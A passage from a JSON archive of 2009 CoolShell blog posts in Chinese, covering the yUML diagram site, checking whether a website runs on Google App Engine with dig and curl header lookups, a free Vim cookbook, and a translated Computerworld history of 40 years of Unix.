    "content": "---\nlayout: post\ntitle: 一个在线的画UML图的网站\ndate: 2009/5/6/ 8:16:48\nupdated: 2009/5/6/ 8:16:48\nstatus: publish\npublished: true\ntype: post\n---\n\n\n[![yUML](../wp-content/uploads/2009/05/yuml.jpg \"yUML.me\")](http://yuml.me/)\n\n\n<http://yuml.me/>\n\n\n这个网站可以允许你在线地，通过一些UML的语法，生成相应的图片。\n\n\n比如，如果你输入：\n\n\n\n```\n\n<img src=\"http://yuml.me/diagram/class/[Customer]1-0..*[Address]\"/>\n\n```\n\n  \n\n那么，你就可以得到下面的图片：\n\n\nhttp://yuml.me/diagram/class/[Customer]1-0..*[Address]\n\n\n如果，我们输入：\n\n\n\n\n```\n\n<img src=\"http://yuml.me/diagram/class/\n[User|+Forename+;Surname;+HashedPassword;-Salt|+Login();+Logout()]\" alt=\"\" />\n\n```\n\nhttp://yuml.me/diagram/class/[User|+Forename+;Surname;+HashedPassword;-Salt|+Login(;+Logout()])\n\n\n \n\n\n还有Use Case：\n\n\n\n\n```\n\n<img src=\"http://yuml.me/diagram/usecase/[Customer]-(Login), [Customer]-(Logout)\"/>\n\n```\n\nhttp://yuml.me/diagram/usecase/[Customer]-(Login, [Customer]-(Logout))\n\n\n还是挺不错的吧，呵呵。大家可以上去试试。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3609.html)[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html)\n* [![Google居然在阻止人们自杀？](../wp-content/uploads/2010/04/googleOnebox-150x150.png)](https://coolshell.cn/articles/2296.html)[Google居然在阻止人们自杀？](https://coolshell.cn/articles/2296.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![Go 语言简介（下）— 特性](../wp-content/uploads/2012/11/google-go-language-150x150.jpg)](https://coolshell.cn/articles/8489.html)[Go 语言简介（下）— 特性](https://coolshell.cn/articles/8489.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1283.html)[Linux基金会的广告](https://coolshell.cn/articles/1283.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\nThe post [一个在线的画UML图的网站](https://coolshell.cn/articles/776.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-6 如何知道某网站运行在GAE上.md",
    "content": "---\nlayout: post\ntitle: 如何知道某网站运行在GAE上\ndate: 2009/5/6/ 8:33:52\nupdated: 2009/5/6/ 8:33:52\nstatus: publish\npublished: true\ntype: post\n---\n\nGAE就是[Google Application Engine](http://code.google.com/appengine/)，通过Alexa的网站排名系统，我们可以知道Top 10的使用GAE的网站，他们是：（截止至今天）\n\n\n- 1. [www.robtex.com](http://www.robtex.com/) (Alexa rank: 1691)\n\n- 2. [www.twibes.com](http://www.twibes.com/) (Alexa rank: 13143)\n\n- 3. [www.acid-play.com](http://www.acid-play.com/) (Alexa rank: 25884)\n\n- 4. [www.jaiku.com](http://www.jaiku.com/) (Alexa rank: 29061)\n\n- 5. [www.wordle.net](http://www.wordle.net/) (Alexa rank: 34022)\n\n- 6. [www.twazzup.com](http://www.twazzup.com/) (Alexa rank: 40910)\n\n- 7. [www.twollo.com](http://www.twollo.com/) (Alexa rank: 41414)\n\n- 8. [www.downforeveryoneorjustme.com](http://www.downforeveryoneorjustme.com/) (Alexa rank: 41718)\n\n- 9. [www.chromeexperiments.com](http://www.chromeexperiments.com/) (Alexa rank: 49899)\n\n- 10. [www.desktop-reporting.com](http://www.desktop-reporting.com/) (Alexa rank: 51447)\n\n那么，我们如何才能知道一个网站是运行在GAE上的呢？\n\n\n\n如果一个网站运行在GAE上，那么其会有如下三个事情会为真：\n\n\n* 网站的 别名记录（CNAME）会 指向ghs.google.com， ghs.l.google.com 或者appspot.l.google.com 。\n* 访问网站的/form 路径会返回Google风格的404 错误页。\n* 网站的”Server”标题会是 “Google Frontend”\n\n\n测试这三个条件并不难，在Linux下，我们可以用这样的命令行检查：\n\n\n`**有google.com字样的CNAME**  \n\n  dig www.example.com cname | egrep -i 'cname.*google.com'`\n\n\n`**Google 404 错误for /form:**  \n\n  curl -s -D - http://www.example.com/form | egrep 'G.*o.*o.*g.*l.*e'`\n\n\n`**\"Google Frontend\" 字符串**``curl -s -D - http://www.example.com/ | egrep '^Server:'`\n\n\n请注意，头两个条件在一些时候对于运行在Blogspot 的主机也是成立的，估计Blogspot就是运行在GAE上的一个站点。但第三个条件就不一样了。GAE上的是”Google Frontend”，而 Blogspot上的则是 “GFE/2.0″。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [如何知道某网站运行在GAE上](https://coolshell.cn/articles/780.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-1 《Vim Recipes》免费的Vim Cookbook.md",
    "content": "---\nlayout: post\ntitle: 《Vim Recipes》免费的Vim Cookbook\ndate: 2009/6/1/ 7:45:54\nupdated: 2009/6/1/ 7:45:54\nstatus: publish\npublished: true\ntype: post\n---\n\n当今最流行的文本编辑器是什么，如果我的回答是vim应该不算过份吧。\n\n\n在 [http://vim.runpaint.org/](http://vim.runpaint.org/ \"http://vim.runpaint.org/ \") 你可以获得一本关于vim的cookbook 《Vim Recipes》\n\n\n如果你非常喜欢vim编辑器，千万不要错过这本书，使用这本书，你将会发现你在vim遇到问题都可以迎刃而解。\n\n\n此书还在更新过程中，更多内容请关注[http://vim.runpaint.org/](http://vim.runpaint.org/ \"http://vim.runpaint.org/ \")\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [《Vim Recipes》免费的Vim Cookbook](https://coolshell.cn/articles/956.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-11 Unix 40年：昨天，今天和明天.md",
    "content": "---\nlayout: post\ntitle: Unix 40年：昨天，今天和明天\ndate: 2009/6/11/ 15:1:39\nupdated: 2009/6/11/ 15:1:39\nstatus: publish\npublished: true\ntype: post\n---\n\n**经历了四个十年，操作系统的未来充满了变数，但传奇将会是永久的**\n\n\n **原文**：[链接](http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=Operating+Systems&articleId=9133570&taxonomyId=89&pageNumber=1)—[Computerworld](http://www.computerworld.com/)\n\n\n　\n\n\n#### 译者前言\n\n\n 今年是Unix40岁的生日。很早就看到这篇文章了，一直想转到中文社区。但一直没有时间，今天看到了CSDN首页的一篇《[昨天,今天,明天! Unix系统的40年](http://news.csdn.net/a/20090610/211863.html)》号称是转载于[cnBeta](http://www.cnbeta.com/articles/86179.htm)。这篇文章翻译的要有多烂有多烂，简直就是对Unix 40的历史和原文作者的一种不敬。所以，在这里给出全部译文。\n\n\n \n\n\n**关于更为详细的历史，可以参考我的《Unix****传奇》[上篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx)****，[下篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx)**\n\n\n**以及一篇CSDN****对我的采访《[Unix的现状与未来](http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx)****》**\n\n\n　\n\n\n#### 正文\n\n\n40年前的一个夏天，一个程序员只用了一个月的时间就创造出了这个世界上迄今为止最重要一个软件的原型。\n\n\n\n在1969年8月，Ken Thompson，AT&T公司Bell实验室的一个程序员，因为妻儿不在身边，所以有机会把他的一些关于新的操作系统的想法付诸实现。他用汇编语言在DEC（Digital Equipment Corp.）的PDP-7微机上写了第一个版本Unix，他只用了一周的时间就完成了一个简单的操作系统，包括一个shell，一个编译器还有一个汇编编译器。\n\n\nThompson和他的一个同事Dennis Ritchie当时在开发一个叫“[Multics](http://www.multicians.org/multics.html)（Multiplexed Information and Computing Service复杂指令和计算服务）”的分时(Time-Sharing)操作系统)，因为这个项目当时遇上了很多麻烦，所以Thompson和Dennis当时感到很没劲，他们即不想去做当时主流的“批处理（Batch）操作系统”，也不想去做那个看上去怪异和笨拙的Multics。\n\n\n所以，在他们来来回回讨论经了一些关于新系统的想法后，Thompson写下了第一个版本的Unix，然后，这两位老搭档在以后的几年里继续开发着这个操作系统，当然，后面有更多的同事（Doug McIlroy, Joe Ossanna 和 Rudd Canaday）加入了进来。一些当时Multics的理念也被带入到这个新的操作系统中来，不过，更为漂亮的Unix则带来了–“更少则为更多（less-is-more）”的哲学。\n\n\n（**陈皓注：**在我们所认识的历史中，这两位程序员当时是在Multics下开发一个叫”太空旅行”的游戏，后来Multics项目解体了，这两位哥们觉得自己的游戏白弄了，所以就为了这个游戏开发了一个新的操作系统Unix，Unix的取名和Multics是相反的，Multics有”复杂的”的意思，而Unix则是”小巧的”意思。后来他们觉得这个操作系统非常不错，所以在后来发表了一篇论文向全世界宣布了这一操作系统，从此开启了计算机世界崭新的文化，详情可参看我的《**Unix****传奇**》[上篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx)，[下篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx)）\n\n\n“一个强大的用于交互式的操作系统不应该在价格成本和人力成本上都是昂贵的” Ritchie 和 Thompson在开发这个操作系统5年后，他们在”计算机协会（ACM- Association for Computing Machinery）杂志”上发表了一篇文章《*Communications of the ACM* (CACM)》，文中说，”我们希望Unix的用户会找到那些非常重要的系统特性就是它是’简单的’，’一流的’和’易用的'”。\n\n\n显然，他们做到了，Unix的确成为了IT领域中的一块基石，被广泛地部署到了大学，政府和企业的服务器和工作站上。并且，Unix的影响力开发迅速地传播开来，这恐怕超出了所有人的估计，正如ACM在1983年给Thompson 和 Ritchie颁发最具价值的图灵奖（计算机领域的诺贝尔奖）所记录的那样–“Unix系统的模式已经在以一种全新的编程思想领导着新一代的软件开发”。\n\n\nUnix早期\n------\n\n\n http://www.computerworld.com/common/images/site/features/2009/062009/unix_kendennis.jpg\n\n\nThompson 和 Ritchie.\n\n\n当然，Unix的成功不是一蹴而就的。 在1971年，它首先被移植到了PDP-11微机（一个比PDP-7更强的微机）。文本格式和文本编译程序在这时被加入进了Unix。并且，当时的实验室专利部门已经开始用这些文本编译器，这也是Unix系统除开发团队之外的第一个用户。\n\n\n在1972年，Ritchie引入了一个更高级的语言–C语言（基于Thompson的B语言），此后，Thompson用C语言重写了Unix，这极大地增加了Unix的可移植跨平台性。然后，他们为这个操作系统命名Unics(Uniplexed Information and Computing Service)，这是和Multics玩的一个文字游戏。但最后，Unix成了最终的名字。（**陈皓注**：Unix下的经常出现缩写，如usr 是 user, ed是edit，gp是group，这也是Unix的文化。Unix的更名可能也是因为这个吧）\n\n\n是时候向全世界宣布这个系统系统了。Ritchie 和 Thompson于1974年7月在 *CACM* 上发表了一篇论文– “[The UNIX Time-Sharing System](http://cm.bell-labs.com/cm/cs/who/dmr/cacm.html)“《Unix分时操作系统》，这篇论文就像一个风暴一样席卷了都个IT界。直到有一天，Unix被限制在了只能由Bell实验室中的少数人使用。但是，因为有计算机协会的支持，当时的Unix处于一个引爆点。\n\n\n” *CACM* 的那篇论文产生了一个戏剧化的影响”， IT 历史学家 Peter Salus 在他的书《*The Daemon, the Gnu and the Penguin*》中写到， “很快，Ken 被铺天盖地的Unix的请求所淹没”\n\n\n \n\n\n黑客的天堂\n-----\n\n\n Thompson 和 Ritchie 算得上是史上最名副其实的”黑客”，当时”黑客hacker”一词指的是那些把非同寻常的创意组合起来， 以一种超常智力，并以废寝忘食的态度解决了某个鲜为人知的软件问题的人。\n\n\nThompson 和 Ritchie他们的所使用的开发方法，他们所写下的代码，极大地吸引了大学里的程序员，并在以后，这些大学中其中的一些程序员因为Unix开创了自己的公司，他们都是在Unix发展过程中的黑客，就像，加利福尼亚州大学的Bill Joy，卡内基梅隆大学的[Rick Rashid](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9133574#rashid) ，以及Bell实验室[David Korn](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9133574#korn)。当然，他们开创的这些公司都没有IBM，HP和Microsoft的资助。\n\n\n“几乎从一开始，Unix就能够，也确实是开始了自我进化”，Thompson和Ritchie在*CACM* 论文中说到，”因为所有的源代码总可以容易被人在线地更改，所以，当有一个新的想法被发明，发现或是被建议出来的时候，大家都非常自愿地修订或重写Unix系统和上面的软件”。\n\n\nKorn，一个今天还在AT&T工作的员工，上世纪70年代曾是Bell 实验室的一个程序员。”Unix的一个特点是，一个小工具刚被完成，就被另一个更好的工具所代替”，他回忆起来说，”如果你觉得不好的话，你完全可以开完一个更好的版本”。Korn当时为Unix开发了一个很具影响力的[Korn shell](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9133574#korn)，本质上来说，当年的Unix就像今天的开源软件。\n\n\nSalus，作为一个作家和技术历史家，回忆起，他上世纪70年代在多伦多大学时当教授时，在IBM System/360大机上使用APL编程语言工作时的情景–那并不很好用，但是自从1978年圣诞节以后，一个哥伦比亚大学的朋友给我演示了一下在微机上运行的Unix，”我说，’我的上帝啊’，我彻底被你征服了”。\n\n\n他说，Unix最关键的优势是他有一个”管道”特性（1973年引入），这么我们可以把上一个程序的输出轻松地传给下一个程序。”管道”的概念，由Bell实验室的McIlroy发明，随后”管道”这个东西被其它几乎所有的操作系统复制，包括所有的Unix， Linux，DOS和Windows。\n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_murrayhill_230.jpg\n\n\n位于新泽西Murray Hill 的Bell 实验室总部\n\n\n*Credit: Alcatel-Lucent/Bell Labs*\n\n\n \n\n\nUnix还有一个不错的地方。 “哇”，正如Salus所惊叹的，这个操作系统并不需要一个需要一百万美金的大型机才能运行的操作系统。它在极其原始的小型的DEC PDP-7微机上开发出来，因为这是当是Thompson 和 Ritchie可以找到用来写这个操作系统最好的机器（**陈皓注：**当时这个机器像垃圾一样被扔在实验室角落里）\n\n\n很多很多的大学研究者们使用Unix就是因为这是一个简单和容易修改的操作系统，而且对硬件资源要求的很少，代码也是开源和免费的。就像Sun Microsystems公司，或是一些用于特定的科学计算的主机公司，例如Multiflow Computer，他们在选择Unix作为操作系统时都和那些大学研究者们有相同的原因。\n\n\nUnix家谱\n------\n\n\nUnix成长为一个非私有的操作系统，是因为1956年的AT&T公司受命于联邦去经营电报电话服务。当然也可以开发软件，甚至那个软件可以有”合理”收费的许可证，但是这个公司却被禁止从事任何和计算机有并的商业活动。\n\n\nUnix，在开发的过程中，没有任何的奖励制度和管理，从一开始在AT&T公司出现时，其是一种近似于好奇或兴趣的东西。\n\n\n然而，20世纪70年代，AT&T公司开始意到Unix所带来的商业价值。公司的律师开始寻找一些手段来保护Unix，并让其成为一种商业机秘。从1979年Unix的版本V7开始，Unix的许可证开始禁止大学使用Unix的源码，包括在授课中学习。\n\n\n没问题！一个荷兰阿姆斯特朗Vrije大学使用版本V6的计算机科学系的教授Andrew Tanenbaum说。在1987年，他为教学目的克隆了一个Unix，创建一个叫Minix的开源的操作系统，并可以在80286的Intel芯片上运行。\n\n\n“Minix使用了所有和Unix一样的想法，并且这是一个非常灿烂的事物”，Salus说，”只有一个专门是程序员的并且非常了解操作系统内部的人才成干出这件事来”。Minix从此变成了另一个起点–Linus Torvalids 在1991年使用Minix创造了Linux –这并不是一个简单的Unix克隆版本，只不过它长得像Unix。\n\n\n让我们再回到Linux出现的十年以前，Bill Joy，毕业于加利福尼亚州大学伯克利分校，当年，他在学校的时候拷贝了Bell 实验室的Unix版本，并且所到了这是一个很不错的可以使用Pascal编译器和文本编译器的操作系统平台。\n\n\n于是，他更改变扩展了Unix，形成了Unix的第二个最主要的分枝–BSD（Berkeley Software Distribution）Unix。在1978年3月，Joy卖出了第一个BSD的拷贝：50美金。\n\n\n到了1980年，有两个最主要的Unix的版本线，一个是Berkeley的BSD，另一个是AT&T的Unix，在这个时候，很显然，竞争最终引发了Unix的战争。在这场战争中，好的是，软件开发人员还是能够得到Unix的源码并对其按照自己的需要和兴致进行裁剪。而不好的是，Unix开始一发不可收拾地开发不停地出现各种各样的变种。\n\n\n1982年，Joy创建了Sun Microsystems公司并提供了工作站–Sun-1，运行在当一个BSD的版本，叫SunOS（Solaris以之后的十年出现）。而AT&T则在随后的几年中发布了Unix System V的第一版，一个具有强大影响力的操作系统，最终造就了IBM的AIX和HP的HP-UX。\n\n\n\n \n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_chart_420.jpg\n\n\nUnix 家谱. *Credit: Eraserhead1 ([cc-by-sa-3.0](http://creativecommons.org/licenses/by-sa/3.0/), [GFDL](http://en.wikipedia.org/wiki/GNU_Free_Documentation_License))*  \n\n[点击这里下载大图](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9133696)\n\n\n \n\n\nUnix战争\n------\n\n\n 在上世纪80年代中期，大量的用户包括联邦政府，开始抱怨”Unix是一个理论上单一的可移植的操作系统”，但事实上应该如此却并不是这样。Unix软件供应商们，一方面为这些抱怨而为 其买单（”空头人情”），而另一方面，他们却在没日没夜地给用户们定制Unix的各种功能和APIs，旨在为了留下用户。 \n\n\n 而其它的Unix产商害怕At&T和Sun的联盟，所以，有各种各样的派别组织开始在”标准”上竞争，这些组织大多在X或Open命名，开放软件基金会（Open Software Foundation），Unix开放系统国际和公司（Unix International and Corporation for Open Systems）等等，在这些组织中形成的各种各样的争论，辩论，抗辩和观点可以写一本厚厚的书，但他们无一例外地以肆意相互评击来主张一个统一的Unix局面。\n\n\n 刚形成的[开放软件基金会](http://en.wikipedia.org/wiki/Open_Software_Foundation)，其包括了IBM，HP，DEC和其它公司共同来反抗AT&T和Sun的联盟。在一个1988年未出版的文件中，DAPRA（Defense Advanced Research Projects Agency）一个著名的小型机先驱[Gordon Bell](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9133574&pageNumber=2#bell)说， “开放软件基金会OSF是一条’Unix穷人’进入正在发展的市场的一条路，他们以此来供养那个的高利润代码博物馆”。\n\n\n Unix战争在解决差异和设定一个操作系统标准中以失败告终。但在1993年，Unix社区听到了一个”警钟”–Microsoft发布了Windows NT，一个企业级的，32位的，支持多处理的操作系统。而Windows NT的所有者瞄准了Unix领域，并企图扩展Microsoft的桌面系统霸权到各种数据中心以及被Sun服务器所占领的地方。\n\n\n Microsoft的用户欢呼雀跃，Unix的产商开始惊慌。所有的主流的Unix竞争者们开始主动地联合起来形成了一个[通用开放式软件环境（Common Open Software Environment）](http://en.wikipedia.org/wiki/COSE)，并在随后的几年中放下了他们的武器并开始着手把AT&T和Sun联盟为背景的”Unix International Group”并入开放软件基金会OSF。这个合并在今天叫做–[The Open Group](http://www.opengroup.org/)，而证明Unix系统和所有者的是[Single Unix Specification](http://www.unix.org/what_is_unix/single_unix_specification.html)，现在官方叫法是–“Unix”。\n\n\n \n\n\n但在实践过程中，所有关于Unix的开发的确需要一个尽可能”标准化的”Unix，但是由于这些产商热衷于竞争的习惯，在Unix下并没有做到，但这一”标准化”被随后如潮水一样涌来的一个叫Linux的操作系统给完成了，这是一个开源的系统系统，则我们的Tanenbaum教授开发的Minix发展而来。\n\n\n### 什么是”Unix”?\n\n\nUnix，许多人会说，是一个几十年前在Bell实验室写的操作系统，Unix包括其所有的派生版本。今天，最主要的Unix版本是从两个主干上分出来的：一个当然是从AT&T出来的，另一个则是通过加利福尼亚伯克利分校产生的。今天，最顽强的分枝是IBM的AIX和HP的HP-UX以及Sun的Solaris。\n\n\n然而，只有”The Open Group”拥有Unix的注册商标，[定义一个Unix](http://www.unix.org/what_is_unix.html)需要遵从[Single Unix Specification](http://www.unix.org/what_is_unix/single_unix_specification.html) (SUS)。这包含了那些从来没有Unix思想的操作系统，比如Mac OS X Leopard（这是从BSD和Mach那边发展来）以及IBM的z/OS（这是从大型机操作系统MVS发展来的），因为它们遵从了SUS的API规范。基本上来说，只要那看起来像是一个Unix，那他就是一个Unix，而不管它是由什么代码写的。\n\n\n当然，一个比较宽松的Unix定包含了Unix-Like的操作系统，有些时候，也叫做Unix-Clones或Look-Alikes，这些都是复制了Unix的东西但他们却并不直接使用Unix的代码。在这堆操作系统中，领头羊是Linux。\n\n\n最后，我们可以把Unix叫做一种”操作系统”因为这是已成了实际习惯。另外，对于一个操作系统的内核，Unix实现了很多典型的工具比如命令行编辑器，应用程序接口，开发环境，开发库和文档–*Gary Anthes*\n\n\nUnix的未来\n-------\n\n\n由于这些长期竞争的各种版本的Unix缺乏可移值性，以及在价格方面没有优势，在x86芯片上占据主导地位的Linux和Windows将会快速地让所有的IT机构把Unix替换掉。调查机构[Gartner Group](http://www.gartner.com/DisplayDocument?ref=g_search&id=878016)最近公布了这项调查结果。\n\n\n“在主机服务器方面，调查结果继续显示公众对Linux的热情，而Windows也有相应的增长，而Unix系统还会长期存在，但是其逐渐地下滑”，这个调查报告由2009年2月发布。\n\n\n“Unix还会像以前那样长期存在，但它已不如从前，而这种局面只会愈演愈烈” Gartner分析师George Weiss说，”Linux将会是Unix的另一选择”，虽然Linux并没有像Unix那样经过了这么长的开发、性能调整和压力测试的过程，但很明显他很快就要达到像Unix那样的性能，可靠和扩展性”。\n\n\n但是，最近一个由Computerworld发起一个[民意调查](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9133777)，暗示了所有一切把Unix踢开的举动不会很快地发生。在一个由130个Unix用户和211个IT经理的问卷调查中显示，其90%的人说他们的公司”非常极端地信任Unix”。不到半数的被访者说，”Unix是一个非常基本的平台，但我们并不确定其未来是否会被保留”，而只有12%的受访者说，”我们期望在未来把Unix迁走”。节省成本，是诸多原因中最主要是一个原因。\n\n\nWeiss说，移值到x86处理器上会越来越快，因为这些硬件的价值实在是太便宜了。”水平扩展架构，集群技术，云计算，虚拟化技术，你只需要把这些技术合并一下，通过这些技术应用的趋势，我们可以看到操作系统的选择基本上就是Linux和Windows”，他说。\n\n\n“例如”，Weiss说，”在最近Cisco宣布的[Unified Computing 架构](http://newsroom.cisco.com/dlls/2009/prod_031609.html)，你可以拥有网络，存储，计算，内存，光纤连接，但你不需要Unix。你可以安装Linux或Windows并使用x86平台。所以Intel赢得了Linux取代Unix的那半壁江山”。\n\n\nThe Open Group，目前Single Unix Specification和Unix系统认证的所有者，开始有点退步并有点承认Linux也是一个Unix系统的选择，因为Unix是”高端性能，可扩展性和性能可以用于很多相当重要的应用”，而Linux则是一个更为小的，注重于并不太注重的应用。\n\n\nAT&T的Korn是其中一个对Unix仍然看到的人。Korn说，Unix的长处是它的历史，自从1973年来引入”管道”技术，它就可以被分成几个部分来部署。这会把Unix带向前方，他说，”这个哲学体系可以运用在云计算中，在那里，你只需要创建一些小的可重用的碎片而不是一个巨大的应用”。\n\n\nUnix传奇\n------\n\n\n \n\n\n无论最后的Unix命运会怎么样，这个从Bell实验室出生的40岁的家伙，已经书写了一段传奇，而且这个传奇可能还会继续几十年。它影响并产生了一个相当相当长的流行软件列表，包括给IBM，HP和Sun提供的Unix，以及Apple的Mac OS X和Linux。它同样影响了Microsoft的Windows NT以及IBM和Microsoft弄出来的DOS。\n\n\n请你来说\n----\n\n\n### [分享你的Unix记忆！](http://www.computerworld.com/comments/node/9133570)\n\n\n \n\n\n因为Unix，产生了许多公司，并走向了成功，因为当时Unix给了一个低成本的平台。在Internet上的服务器，Unix是核心的建筑区，今天它也是所有通讯系统的心脏。由它孕育了许多架构上的创意，比如管道，并且，Unix引出的Mach为科学作出了巨大的贡献，同时也为多处理器计算作出了贡献。\n\n\nACM在1983年因为Unix授予Thompson和Ritchie图灵奖时说过：”Unix系统最天才的部分是它的framework，它激发了程序员们沿着这一方向工作”。\n\n\n \n\n\n**作者**：Gary Anthes  \n\n**时间**：2009年6月4日美国东部时间凌晨12:01\n\n\n \n\n\n**译者**：陈皓（haoel(at)hotmail.com）  \n\n**时间**：2009年6月11日北京时间晚上10:22\n\n\n\n**关于更为详细的历史，可以参考我的《Unix****传奇》[上篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx)****，[下篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx)**\n\n\n**以及一篇CSDN****对我的采访《[Unix的现状与未来](http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx)****》**\n\n\n**（本文由陈皓翻译，在转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [Unix 40年：昨天，今天和明天](https://coolshell.cn/articles/1023.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-12 Unix 40年：Unix年鉴.md",
